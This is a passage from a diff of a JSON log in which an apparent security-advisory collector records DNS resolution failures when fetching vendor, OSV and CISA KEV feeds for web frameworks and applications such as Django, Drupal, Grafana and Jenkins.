resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://docs.djangoproject.com/en/dev/releases/security/", + "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Weblog", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.djangoproject.com/weblog/", + "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "django", + "display_name": "Django", + "source_name": "OSV Django", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "Drupal Security Advisories RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.drupal.org/security/rss.xml", + "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "OSV Drupal", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "echo", + "display_name": "Echo", + "source_name": "OSV Echo", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "esbuild", + "display_name": "esbuild", + "source_name": "OSV esbuild", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "express", + "display_name": "Express", + "source_name": "OSV Express", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "fastify", + "display_name": "Fastify", + "source_name": "OSV Fastify", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "flask", + "display_name": "Flask", + "source_name": "OSV Flask", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "Ghost GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/TryGhost/Ghost/security/advisories", + "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "OSV Ghost", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "gin", + "display_name": "Gin", + "source_name": "OSV Gin", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" }, { "system_id": "gitea", + "display_name": "Gitea", "source_name": "OSV Gitea", "source_kind": "osv-batch", - "elapsed_seconds": 9.944, - "status": "ok" + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" }, { - "system_id": "jenkins", - "source_name": "Jenkins Security Advisories RSS", - "source_kind": "rss-feed", - "elapsed_seconds": 9.727, - "status": "ok" + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Advisory Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://gitlab.com/gitlab-org/advisories-community", + "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Security Releases Atom", + "source_kind": "atom-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://about.gitlab.com/security-releases.xml", + "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "CISA KEV Grafana", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "Grafana Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://grafana.com/security/security-advisories/", + "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "hapi", + "display_name": "Hapi", + "source_name": "OSV Hapi", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" }, { "system_id": "haproxy", + "display_name": "HAProxy", "source_name": "HAProxy Blog Feed", "source_kind": "rss-feed", - "elapsed_seconds": 9.659, - "status": "ok" + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.haproxy.com/feed/", + "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "jenkins", + "display_name": "Jenkins", + "source_name": "Jenkins Security Advisories RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.jenkins.io/security/advisories/rss.xml", + "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "Joomla Security Centre", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://developer.joomla.org/security-centre.html", + "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "OSV Joomla", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "kibana", + "display_name": "Kibana", + "source_name": "Elastic Security Announcements RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss", + "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "koa", + "display_name": "Koa", + "source_name": "OSV Koa", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "laravel", + "display_name": "Laravel", + "source_name": "OSV Laravel", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Magento GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/magento/magento2/security/advisories", + "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "OSV Magento Open Source", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Sansec Research", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://sansec.io/research", + "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "Mattermost Security Updates JSON", + "source_kind": "json-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://securityupdates.mattermost.com/security_updates.json", + "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "OSV Mattermost", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "MediaWiki Announce RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/", + "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "OSV MediaWiki", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "medusa", + "display_name": "Medusa", + "source_name": "OSV Medusa", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "moodle", + "display_name": "Moodle", + "source_name": "OSV Moodle", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nestjs", + "display_name": "NestJS", + "source_name": "OSV NestJS", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nextjs", + "display_name": "Next.js", + "source_name": "OSV Next.js", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "CISA KEV NGINX", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not 